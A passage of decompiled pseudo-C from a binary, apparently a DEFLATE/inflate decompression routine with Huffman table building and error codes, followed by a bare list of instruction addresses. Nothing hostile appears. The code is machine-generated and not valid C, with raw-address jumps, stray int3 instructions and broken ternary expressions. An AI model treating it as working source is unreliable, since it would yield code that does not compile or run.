																				_t944 =  *(_t1058 - 8) - _t1022;
																				 *(_t1058 - 0x10) = _t596;
																				 *(_t1058 - 8) = _t944;
																				continue;
																			}
																		} else {
																			L117:
																			_t1022 =  *(_t1058 - 0x14);
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 9;
																			goto L292;
																		}
																		goto L295;
																	}
																	L115:
																	goto 0x2c14b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1043 - 8;
																	if(_t1043 >= 8) {
																		L110:
																		_t596 = _t962 & 0x000000ff;
																		_t962 = _t962 >> 8;
																		_t1043 = _t1043 - 8;
																		 *(_t1058 - 0x28) = _t596;
																		 *(_t1058 - 4) = _t962;
																		L111:
																		__eflags =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 - 0x40));
																		_t1022 =  *(_t1058 - 0x14);
																		if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																			L246:
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																			 *( *(_t1058 - 0x10)) = _t596;
																			_t944 =  *(_t1058 - 8) - 1;
																			 *(_t1058 - 8) = _t944;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t841 -  *(_t1058 - 0x20);
																			if(_t841 >=  *(_t1058 - 0x20)) {
																				break;
																			}
																			L109:
																			_t596 = ( *_t841 & 0x000000ff) << _t1043;
																			_t841 = _t841 + 1;
																			_t962 = _t962 | _t596;
																			 *(_t1058 - 0x18) = _t841;
																			_t1043 = _t1043 + 8;
																			 *(_t1058 - 4) = _t962;
																			__eflags = _t1043 - 8;
																			if(_t1043 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1022 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t841 -  *(_t1058 - 0x20);
															if(_t841 >=  *(_t1058 - 0x20)) {
																break;
															}
															L92:
															_t820 = ( *_t841 & 0x000000ff) << _t1043;
															_t1043 = _t1043 + 8;
															_t991 = _t991 | _t820;
															_t841 = _t841 + 1;
															 *(_t1058 - 0x18) = _t841;
															_t596 = _t1043 & 0x00000007;
															 *(_t1058 - 4) = _t991;
															__eflags = _t1043 - _t596;
															if(_t1043 < _t596) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1022 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
													L87:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L88:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t962 = _t962 | _t596;
													 *(_t1058 - 0x18) = _t841;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - 3;
													if(_t1043 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1022 = 3;
												goto L285;
											}
											goto L295;
										}
										L252:
										_t596 = _t1043 & 0x00000007;
										__eflags = _t1043 - _t596;
										if(_t1043 >= _t596) {
											L256:
											_t683 =  *(_t1058 - 0x3c);
											_t886 = _t1043 & 0x00000007;
											_t986 = _t962 >> _t886;
											_t1043 = _t1043 - _t886;
											 *(_t1058 - 4) = _t986;
											__eflags = _t841 - _t683;
											if(_t841 > _t683) {
												while(1) {
													L257:
													__eflags = _t1043 - 8;
													if(_t1043 < 8) {
														goto L259;
													}
													L258:
													_t841 = _t841 - 1;
													_t1043 = _t1043 - 8;
													__eflags = _t841 - _t683;
													if(_t841 > _t683) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t596 = _t1043;
											asm("bts edx, eax");
											__eflags = _t596 - 0x20;
											_t888 =  >=  ? _t986 : 0;
											_t987 = _t986 ^ _t888;
											__eflags = _t596 - 0x40;
											_t889 =  >=  ? _t987 : _t888;
											 *(_t1058 - 4) =  *(_t1058 - 4) & _t987 - 0x00000001;
											__eflags =  *(_t1058 + 0x18) & 0x00000001;
											if(( *(_t1058 + 0x18) & 0x00000001) == 0) {
												L290:
												_t684 = 0;
												__eflags = 0;
												 *_t1022 = 0x22;
												L291:
												 *(_t1058 - 0xc) = _t684;
												goto L292;
											} else {
												L261:
												_t890 = 0;
												while(1) {
													L277:
													 *(_t1058 - 8) = _t890;
													__eflags = _t890 - 4;
													if(_t890 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1043;
													if(_t1043 != 0) {
														L281:
														_t989 =  *(_t1058 - 4);
														__eflags = _t1043 - 8;
														if(_t1043 >= 8) {
															L275:
															_t685 = _t989 & 0x000000ff;
															_t1043 = _t1043 - 8;
															__eflags = _t1043;
															 *(_t1058 - 4) = _t989 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	break;
																}
																L273:
																_t596 = ( *_t841 & 0x000000ff) << _t1043;
																_t1043 = _t1043 + 8;
																_t989 = _t989 | _t596;
																_t841 = _t841 + 1;
																 *(_t1058 - 4) = _t989;
																__eflags = _t1043 - 8;
																if(_t1043 < 8) {
																	continue;
																} else {
																	L274:
																	_t890 =  *(_t1058 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1022 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t841 -  *(_t1058 - 0x20);
														if(_t841 >=  *(_t1058 - 0x20)) {
															L283:
															 *_t1022 = 0x2a;
															goto L285;
														} else {
															L280:
															_t685 =  *_t841 & 0x000000ff;
															_t841 = _t841 + 1;
															L276:
															 *(_t1058 - 0x24) = _t685;
															_t596 =  *(_t1022 + 0x10) << 0x00000008 |  *(_t1058 - 0x24);
															_t890 = _t890 + 1;
															__eflags = _t890;
															 *(_t1022 + 0x10) = _t596;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													break;
												}
												L255:
												_t690 = ( *_t841 & 0x000000ff) << _t1043;
												_t1043 = _t1043 + 8;
												_t962 = _t962 | _t690;
												_t841 = _t841 + 1;
												 *(_t1058 - 4) = _t962;
												_t596 = _t1043 & 0x00000007;
												__eflags = _t1043 - _t596;
												if(_t1043 < _t596) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1022 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1043 - 0xf;
									if(_t1043 < 0xf) {
										_t999 =  *(_t841 + 1) & 0x000000ff;
										_t880 = _t1043;
										_t721 =  *_t841 & 0x000000ff;
										_t841 = _t841 + 2;
										_t1022 =  *(_t1058 - 0x14);
										 *(_t1058 - 0x18) = _t841;
										 *(_t1058 - 4) =  *(_t1058 - 4) | (_t999 << 0x00000008 | _t721) << _t880;
										_t1043 = _t1043 + 0x10;
										__eflags = _t1043;
										_t962 =  *(_t1058 - 4);
									}
									_t714 =  *((short*)(_t1022 + 0x160 + (_t962 & 0x000003ff) * 2));
									 *(_t1058 - 0x1c) = _t714;
									__eflags = _t714;
									if(_t714 < 0) {
										L53:
										goto 0x2c1472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t716 = _t962 >> _t880;
											_t880 = _t880 + 1;
											_t841 =  *((short*)(_t1022 + 0x960 + ((_t716 & 0x00000001) +  !_t841) * 2));
											__eflags = _t841;
										} while (_t841 < 0);
										 *(_t1058 - 0x1c) = _t841;
										_t841 =  *(_t1058 - 0x18);
									} else {
										L52:
										_t880 = _t714 >> 9;
									}
									L56:
									_t596 =  *(_t1058 - 8);
									_t1043 = _t1043 - _t880;
									_t962 = _t962 >> _t880;
									 *(_t1058 - 4) = _t962;
									 *( *(_t1058 - 0x10)) = _t596;
									_t880 =  *(_t1058 - 0x1c);
									__eflags = _t880 & 0x00000100;
									if((_t880 & 0x00000100) != 0) {
										L83:
										_t170 = _t1058 - 0x10;
										 *_t170 =  *(_t1058 - 0x10) + 1;
										__eflags =  *_t170;
										goto L84;
									} else {
										L57:
										_t719 =  *(_t1058 - 0x10);
										 *(_t719 + 1) = _t880;
										 *(_t1058 - 0x10) = _t719 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t879 =  *(_t1058 - 0x20) - _t841;
													__eflags = _t879 - 4;
													if(_t879 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t877;
											} while (_t877 == 0);
											goto 0x2c140c;
											asm("int3");
											_t824 =  *_t830;
											 *_t1022 = _t824;
											_t1022 =  *(_t1058 - 0x14);
											__eflags = _t877 - 1;
											if(_t877 > 1) {
												L29:
												L36:
												goto 0x2c1448;
												asm("int3");
												 *(_t982 + 1) =  *((intOrPtr*)(_t824 + 1));
												_t982 =  *(_t1058 - 4);
											}
											L38:
											_t85 = _t1058 - 0x10;
											 *_t85 = _t877 +  *(_t1058 - 0x10);
											__eflags =  *_t85;
											while(1) {
												L39:
												_t879 =  *(_t1058 - 0x20) - _t841;
												__eflags = _t879 - 4;
												if(_t879 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1058 - 0x10) = _t1022;
											_t1022 =  *(_t1058 - 0x14);
											 *(_t1058 - 0xc) = _t982;
											_t982 =  *(_t1058 - 4);
											 *(_t1058 - 8) = _t877;
											__eflags = _t877;
										} while (_t877 <= 0);
										goto 0x2c1434;
										asm("int3");
										_t824 =  *_t666;
										 *_t1022 = _t824;
										_t1022 =  *(_t1058 - 0x14);
										__eflags = _t877 - 1;
										if(_t877 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							goto L295;
							L58:
							__eflags = _t1043 - 0xf;
							if(_t1043 >= 0xf) {
								L75:
								_t669 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t669;
								__eflags = _t669;
								if(_t669 < 0) {
									L77:
									goto 0x2c149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t671 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t671 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L76:
									_t879 = _t669 >> 9;
									_t596 = _t669 & 0x000001ff;
									 *(_t1058 - 8) = _t596;
								}
								L80:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 - 0x100;
								if(_t880 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t822 =  *(_t1058 - 0x10);
									__eflags = _t822 -  *((intOrPtr*)(_t1058 - 0x40));
									if(_t822 >=  *((intOrPtr*)(_t1058 - 0x40))) {
										L240:
										 *(_t1058 - 0xc) = 2;
										 *_t1022 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t822 = _t880;
										 *(_t1058 - 0x10) = _t822 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t879 - 2;
								if(_t879 >= 2) {
									L73:
									_t992 =  *(_t841 + 1) & 0x000000ff;
									_t695 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									_t879 = _t1043;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | _t992 << _t1043 + 0x00000008 | _t695 << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t596 = _t982 & 0x000003ff;
										_t1025 =  *((short*)(_t1022 + 0x160 + _t596 * 2));
										__eflags = _t1025;
										if(_t1025 < 0) {
											L64:
											__eflags = _t1043 - 0xa;
											if(_t1043 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1058 - 0x1c) = _t879;
												while(1) {
													L67:
													_t1025 =  *((short*)( *(_t1058 - 0x14) + 0x960 + ((_t982 >> _t879 & 0x00000001) +  !_t1025) * 2));
													_t879 =  *(_t1058 - 0x1c) + 1;
													 *(_t1058 - 0x1c) = _t879;
													__eflags = _t1025;
													if(_t1025 >= 0) {
														goto L74;
													}
													L68:
													_t596 = _t879 + 1;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1027 = _t1025 >> 9;
											__eflags = _t1027;
											if(_t1027 == 0) {
												L69:
												_t1022 =  *(_t1058 - 0x14);
												L70:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													L239:
													 *_t1022 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1043 - _t1027;
												if(_t1043 >= _t1027) {
													L74:
													_t1022 =  *(_t1058 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t879 = _t1043;
										_t699 = ( *_t841 & 0x000000ff) << _t879;
										_t841 = _t841 + 1;
										_t982 = _t982 | _t699;
										 *(_t1058 - 0x18) = _t841;
										_t1043 = _t1043 + 8;
										 *(_t1058 - 4) = _t982;
										__eflags = _t1043 - 0xf;
									} while (_t1043 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1058 - 0xc) = 0x40 + _t694 * 0xda0 + _t1022;
					memset(_t1058 - 0xd0, 0, 0x40);
					memset( *(_t1058 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1058 - 0xc) + 0x920, 0, 0x480);
					_t894 = 0;
					_t1061 = _t1061 + 0x24;
					_t1005 = _t1022 + ( *(_t1022 + 0x18) + 0xb) * 4;
					 *(_t1058 - 0x44) = _t1005;
					__eflags =  *_t1005;
					if( *_t1005 > 0) {
						L143:
						_t1022 =  *(_t1058 - 0xc);
						do {
							L144:
							_t797 =  *(_t894 + _t1022) & 0x000000ff;
							_t894 = _t894 + 1;
							 *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) =  *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) + 1;
							__eflags = _t894 -  *_t1005;
						} while (_t894 <  *_t1005);
					}
					L145:
					goto 0x2c1500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1058 - 0x8c) = _t894;
					 *(_t1058 - 0x90) = _t894;
					 *(_t1058 - 0x2c) = _t894;
					 *(_t1058 - 0x30) = _t894;
					do {
						L147:
						_t734 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd4));
						_t896 = _t894 + _t734 + _t894 + _t734;
						_t1022 = _t1022 + _t734;
						_t735 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd0));
						 *(_t1058 - 0x30) =  *(_t1058 - 0x30) + _t735;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x90)) = _t896;
						_t736 =  *((intOrPtr*)(_t1058 + _t1005 - 0xcc));
						_t898 = _t896 + _t735 + _t896 + _t735;
						 *(_t1058 - 0x2c) =  *(_t1058 - 0x2c) + _t736;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x8c)) = _t898;
						_t894 = _t898 + _t736 + _t898 + _t736;
						 *(_t1058 + _t1005 - 0x88) = _t894;
						_t1005 = _t1005 + 0xc;
						__eflags = _t1005 - 0x40;
					} while (_t1005 <= 0x40);
					 *(_t1058 - 0x4c) = _t894;
					 *(_t1058 - 0x24) = _t1022;
					_t1022 =  *(_t1058 - 0x14);
					_t901 =  *(_t1058 - 0x24) +  *(_t1058 - 0x2c) +  *(_t1058 - 0x30);
					__eflags =  *(_t1058 - 0x4c) - 0x10000;
					if( *(_t1058 - 0x4c) == 0x10000) {
						L150:
						_t739 =  *(_t1058 - 0x44);
						 *(_t1058 - 0x30) = 0xffffffff;
						 *(_t1058 - 0x4c) = 0;
						__eflags =  *_t739;
						if( *_t739 > 0) {
							L151:
							_t1057 =  *(_t1058 - 0x4c);
							do {
								L152:
								L153:
								_t913 =  *(_t1057 + _t739) & 0x000000ff;
								 *(_t1058 - 0x44) = _t913;
								__eflags = _t913;
								if(_t913 != 0) {
									L154:
									_t776 =  *(_t1058 + _t913 * 4 - 0x90);
									 *(_t1058 - 0x2c) = _t776;
									 *(_t1058 + _t913 * 4 - 0x90) = _t776 + 1;
									 *(_t1058 - 0x24) = _t913;
									__eflags = _t913;
									if(_t913 != 0) {
										L155:
										do {
											L156:
											 *(_t1058 - 0x2c) =  *(_t1058 - 0x2c) >> 1;
											_t796 =  *(_t1058 - 0x24) - 1;
											_t1005 = _t1005 + _t1005 |  *(_t1058 - 0x2c) & 0x00000001;
											 *(_t1058 - 0x24) = _t796;
											__eflags = _t796;
										} while (_t796 != 0);
										_t913 =  *(_t1058 - 0x44);
									}
									L158:
									__eflags = _t913 - 0xa;
									if(_t913 > 0xa) {
										L164:
										_t780 =  *(_t1058 - 0xc) + 0x120 + (_t1005 & 0x000003ff) * 2;
										_t841 =  *(_t1058 - 0x30);
										 *(_t1058 - 0x44) = _t780;
										_t781 =  *_t780;
										 *(_t1058 - 0x2c) = _t781;
										__eflags = _t781;
										if(_t781 == 0) {
											 *( *(_t1058 - 0x44)) = _t841;
											_t781 = _t841;
											_t841 = _t841 - 2;
											__eflags = _t841;
											 *(_t1058 - 0x2c) = _t781;
											 *(_t1058 - 0x30) = _t841;
										}
										L166:
										_t1013 = _t1005 >> 9;
										__eflags = _t913 - 0xb;
										if(_t913 > 0xb) {
											L167:
											_t914 = _t913 + 0xfffffff5;
											__eflags = _t914;
											 *(_t1058 - 0x24) = _t914;
											_t915 =  *(_t1058 - 0x2c);
											do {
												L168:
												_t1013 = _t1013 >> 1;
												_t786 = 0x48f - _t915 - (_t1013 & 0x00000001);
												_t918 =  *( *(_t1058 - 0xc) + 0x91e) & 0x0000ffff;
												__eflags = _t918;
												if(_t918 != 0) {
													_t915 = _t918;
												} else {
													 *( *(_t1058 - 0xc) + _t786 * 2) = _t841;
													_t787 =  *(_t1058 - 0x30);
													_t915 = _t787;
													_t788 = _t787 - 2;
													 *(_t1058 - 0x30) = _t788;
													_t841 = _t788;
												}
												L171:
												_t361 = _t1058 - 0x24;
												 *_t361 =  *(_t1058 - 0x24) - 1;
												__eflags =  *_t361;
											} while ( *_t361 != 0);
											 *(_t1058 - 0x2c) = _t915;
											_t781 = _t915;
										}
										L173:
										_t1005 = (_t1013 >> 0x00000001 & 0x00000001) - _t781;
										__eflags = _t1005;
										 *( *(_t1058 - 0xc) + 0x91e + _t1005 * 2) = _t1057;
									} else {
										L159:
										_t793 = (_t913 << 0x00000009 | _t1057) & 0x0000ffff;
										 *(_t1058 - 0x44) = _t793;
										__eflags = _t1005 - 0x400;
										if(_t1005 < 0x400) {
											L160:
											goto 0x2c152a;
											asm("int3");
											asm("int3");
											asm("int3");
											L161:
											_t794 = _t793 << _t913;
											 *(_t1058 - 0x4c) = _t794 + _t794;
											_t923 =  *(_t1058 - 0xc) + _t1005 * 2 + 0x120;
											__eflags = _t923;
											do {
												L162:
												 *_t923 = _t1022;
												_t1005 = _t1005 + _t794;
												_t923 = _t923 +  *(_t1058 - 0x4c);
												__eflags = _t1005 - 0x400;
											} while (_t1005 < 0x400);
											_t1022 =  *(_t1058 - 0x14);
										}
									}
								}
								L174:
								_t739 =  *(_t1022 + 0x18);
								_t1057 = _t1057 + 1;
								__eflags = _t1057 -  *((intOrPtr*)(_t1022 + 0x2c + _t739 * 4));
							} while (_t1057 <  *((intOrPtr*)(_t1022 + 0x2c + _t739 * 4)));
							goto 0x2c1540;
							asm("int3");
						}
						L176:
						__eflags =  *(_t1022 + 0x18) - 2;
						if( *(_t1022 + 0x18) != 2) {
							L217:
							 *(_t1022 + 0x18) =  *(_t1022 + 0x18) - 1;
							goto L141;
						} else {
							L177:
							_t902 = 0;
							__eflags = 0;
							while(1) {
								L178:
								_t1006 =  *(_t1058 - 4);
								while(1) {
									L179:
									 *(_t1058 - 8) = _t902;
									__eflags = _t902 -  *(_t1022 + 0x30) +  *(_t1022 + 0x2c);
									if(_t902 >=  *(_t1022 + 0x30) +  *(_t1022 + 0x2c)) {
										break;
									}
									L180:
									__eflags = _t1057 - 0xf;
									if(_t1057 >= 0xf) {
										L197:
										_t754 =  *((short*)(_t1022 + 0x1ca0 + (_t1006 & 0x000003ff) * 2));
										 *(_t1058 - 0x28) = _t754;
										__eflags = _t754;
										if(_t754 < 0) {
											L199:
											L200:
											do {
												L201:
												 *(_t1058 - 0x28) =  !( *(_t1058 - 0x28));
												_t756 = _t1006 >> _t902;
												_t902 = _t902 + 1;
												_t596 =  *((short*)(_t1022 + 0x24a0 + ((_t756 & 0x00000001) +  *(_t1058 - 0x28)) * 2));
												 *(_t1058 - 0x28) = _t596;
												__eflags = _t596;
											} while (_t596 < 0);
										} else {
											L198:
											_t902 = _t754 >> 9;
											_t596 = _t754 & 0x000001ff;
											 *(_t1058 - 0x28) = _t596;
										}
										L202:
										_t1006 = _t1006 >> _t902;
										_t1043 = _t1057 - _t902;
										 *(_t1058 - 4) = _t1006;
										 *(_t1058 - 0x1c) = _t1043;
										__eflags = _t596 - 0x10;
										if(__eflags >= 0) {
											L204:
											if(__eflags != 0) {
												L207:
												_t903 =  *((char*)(_t596 + 0x2aeff0));
												 *(_t1058 - 0x38) = _t903;
												__eflags = _t1043 - _t903;
												if(_t1043 >= _t903) {
													L211:
													_t1043 = _t1043 - _t903;
													 *(_t1058 - 0x1c) = _t1043;
													_t904 =  *(_t1058 - 0x14);
													_t1032 = ((0x00000001 << _t903) - 0x00000001 & _t1006) +  *((char*)(_t596 + 0x2aeff8));
													__eflags =  *(_t1058 - 0x28) - 0x10;
													_t760 =  *(_t1058 - 8);
													 *(_t1058 - 4) = _t1006 >> _t903;
													if( *(_t1058 - 0x28) != 0x10) {
														_t1009 = 0;
														__eflags = 0;
													} else {
														_t1009 =  *(_t760 + _t904 + 0x2923) & 0x000000ff;
													}
													L214:
													memset(_t760 + _t904 + 0x2924, _t1009, _t1032);
													_t1061 = _t1061 + 0xc;
													_t902 =  *(_t1058 - 8) + _t1032;
													_t1022 =  *(_t1058 - 0x14);
													L178:
													_t1006 =  *(_t1058 - 4);
													continue;
												} else {
													while(1) {
														L208:
														__eflags = _t841 -  *(_t1058 - 0x20);
														if(_t841 >=  *(_t1058 - 0x20)) {
															break;
														}
														L209:
														_t596 = ( *_t841 & 0x000000ff) << _t1043;
														_t841 = _t841 + 1;
														_t903 =  *(_t1058 - 0x38);
														_t1006 = _t1006 | _t596;
														_t1043 = _t1043 + 8;
														 *(_t1058 - 0x18) = _t841;
														 *(_t1058 - 4) = _t1006;
														__eflags = _t1043 - _t903;
														if(_t1043 < _t903) {
															continue;
														} else {
															L210:
															_t596 =  *(_t1058 - 0x28);
															goto L211;
														}
														goto L295;
													}
													L251:
													 *_t1022 = 0x12;
													goto L285;
												}
											} else {
												L205:
												_t764 =  *(_t1058 - 8);
												__eflags = _t764;
												if(_t764 == 0) {
													L268:
													_t684 = _t764 | 0xffffffff;
													 *_t1022 = 0x11;
													goto L291;
												} else {
													L206:
													_t596 =  *(_t1058 - 0x28);
													goto L207;
												}
											}
										} else {
											L203:
											_t908 =  *(_t1058 - 8);
											 *(_t1022 + 0x2924 + _t908) = _t596;
											_t902 = _t908 + 1;
											continue;
										}
									} else {
										L181:
										__eflags =  *(_t1058 - 0x20) - _t841 - 2;
										if( *(_t1058 - 0x20) - _t841 >= 2) {
											L195:
											_t1010 =  *(_t841 + 1) & 0x000000ff;
											_t767 =  *_t841 & 0x000000ff;
											_t841 = _t841 + 2;
											_t902 = _t1057;
											 *(_t1058 - 0x18) = _t841;
											 *(_t1058 - 4) =  *(_t1058 - 4) | _t1010 << _t1057 + 0x00000008 | _t767 << _t902;
											_t1057 = _t1057 + 0x10;
											__eflags = _t1057;
											_t1006 =  *(_t1058 - 4);
											goto L196;
										} else {
											do {
												L182:
												_t596 = _t1006 & 0x000003ff;
												_t1033 =  *((short*)(_t1022 + 0x1ca0 + _t596 * 2));
												__eflags = _t1033;
												if(_t1033 < 0) {
													L186:
													__eflags = _t1057 - 0xa;
													if(_t1057 <= 0xa) {
														goto L191;
													} else {
														L187:
														L188:
														 *(_t1058 - 0x24) = _t902;
														while(1) {
															L189:
															_t1033 =  *((short*)( *(_t1058 - 0x14) + 0x24a0 + ((_t1006 >> _t902 & 0x00000001) +  !_t1033) * 2));
															_t902 =  *(_t1058 - 0x24) + 1;
															 *(_t1058 - 0x24) = _t902;
															__eflags = _t1033;
															if(_t1033 >= 0) {
																goto L196;
															}
															L190:
															_t596 = _t902 + 1;
															__eflags = _t1057 - _t596;
															if(_t1057 >= _t596) {
																continue;
															} else {
																goto L191;
															}
															goto L295;
														}
														goto L196;
													}
												} else {
													L183:
													_t1035 = _t1033 >> 9;
													__eflags = _t1035;
													if(_t1035 == 0) {
														L191:
														_t1022 =  *(_t1058 - 0x14);
														L192:
														__eflags = _t841 -  *(_t1058 - 0x20);
														if(_t841 >=  *(_t1058 - 0x20)) {
															L250:
															 *_t1022 = 0x10;
															goto L285;
														} else {
															goto L193;
														}
													} else {
														L184:
														__eflags = _t1057 - _t1035;
														if(_t1057 >= _t1035) {
															L196:
															_t1022 =  *(_t1058 - 0x14);
															goto L197;
														} else {
															L185:
															goto L191;
														}
													}
												}
												goto L295;
												L193:
												_t902 = _t1057;
												_t771 = ( *_t841 & 0x000000ff) << _t902;
												_t841 = _t841 + 1;
												_t1006 = _t1006 | _t771;
												 *(_t1058 - 0x18) = _t841;
												_t1057 = _t1057 + 8;
												 *(_t1058 - 4) = _t1006;
												__eflags = _t1057 - 0xf;
											} while (_t1057 < 0xf);
											goto L197;
										}
									}
									goto L295;
								}
								L215:
								_t1007 =  *(_t1022 + 0x2c);
								_t743 =  *(_t1022 + 0x30) + _t1007;
								__eflags = _t743 - _t902;
								if(_t743 != _t902) {
									L269:
									_t684 = _t743 | 0xffffffff;
									 *_t1022 = 0x15;
									goto L291;
								} else {
									L216:
									memcpy(_t1022 + 0x40, _t1022 + 0x2924, _t1007);
									_t749 =  *(_t1022 + 0x2c) + 0x2924 + _t1022;
									__eflags = _t749;
									memcpy(_t1022 + 0xde0, _t749,  *(_t1022 + 0x30));
									_t1061 = _t1061 + 0x18;
									goto L217;
								}
								goto L295;
							}
						}
					} else {
						L149:
						__eflags = _t901 - 1;
						if(_t901 > 1) {
							L267:
							 *(_t1058 - 0xc) = 0xffffffff;
							 *_t1022 = 0x23;
							goto L292;
						} else {
							goto L150;
						}
					}
					goto L295;
				}
			}

0x002a5ee5
0x002a5ee5
0x002a5ee5
0x002a5ee5
0x002a5ee5
0x002a5ee5
0x002a5eee
0x002a5ef4
0x002a5ef7
0x002a5efc
0x002a5efc
0x002a5efc
0x002a5eff
0x002a5f02
0x00000000
0x00000000
0x002a5f04
0x002a5f04
0x002a5f07
0x002a5f2a
0x002a5f2f
0x002a5f32
0x002a5f35
0x002a5f38
0x002a5f3b
0x002a5f3e
0x002a5f45
0x002a5f4f
0x00000000
0x002a5f09
0x002a5f09
0x002a5f09
0x002a5f09
0x002a5f0c
0x00000000
0x00000000
0x002a5f12
0x002a5f17
0x002a5f19
0x002a5f1a
0x002a5f1c
0x002a5f1f
0x002a5f22
0x002a5f25
0x002a5f28
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a5f28
0x002a65a0
0x002a65a0
0x002a6732
0x002a6732
0x002a673b
0x002a6740
0x002a6740
0x002a6743
0x002a6746
0x002a6749
0x002a674b
0x002a674b
0x002a674e
0x002a6750
0x002a675d
0x002a675d
0x002a6760
0x002a6762
0x002a6764
0x002a6764
0x002a6764
0x002a6767
0x00000000
0x00000000
0x002a6769
0x002a6769
0x002a676a
0x002a676d
0x002a676f
0x00000000
0x00000000
0x00000000
0x002a676f
0x002a6764
0x002a6762
0x002a674e
0x002a6749
0x002a6771
0x002a6771
0x002a6774
0x002a6776
0x002a677b
0x002a677e
0x002a6781
0x002a6784
0x002a6786
0x002a6789
0x002a6793
0x002a679e
0x002a67a1
0x002a67a5
0x002a67ab
0x002a67b1
0x002a67b7
0x002a67ba
0x002a67bd
0x002a67c2
0x002a67c5
0x002a67c7
0x002a67cd
0x002a67cd
0x002a67cf
0x002a67d5
0x002a67d5
0x002a67df
0x002a67e5
0x002a67ee
0x002a67f1
0x002a67f4
0x002a67f6
0x002a67fa
0x002a67fd
0x002a6803
0x002a6803
0x002a6805
0x002a6805
0x002a6805
0x002a6807
0x002a680a
0x002a680d
0x002a6813
0x002a6813
0x002a6818
0x002a6819
0x002a681a
0x002a681b
0x002a681b
0x002a681b
0x002a6820
0x002a6820
0x002a6823
0x002a6826
0x002a6831
0x002a683c
0x002a6847
0x002a6852
0x002a685d
0x002a6868
0x002a6873
0x002a6878
0x002a687b
0x002a687d
0x002a6882
0x002a6884
0x002a6884
0x002a6889
0x002a688c
0x002a688c
0x002a688f
0x002a688f
0x002a6891
0x002a6894
0x002a6896
0x002a6898
0x002a689c
0x002a689f
0x002a68a1
0x002a68a1
0x002a68a6
0x002a68ae
0x002a68b2
0x002a68b2
0x002a68b6
0x002a68c0
0x002a68c0
0x002a68c3
0x002a68c5
0x002a68c9
0x002a68cb
0x002a68ce
0x002a68d0
0x002a68d2
0x002a68d2
0x002a68d2
0x002a68d5
0x002a68d8
0x002a68db
0x002a68de
0x002a68e1
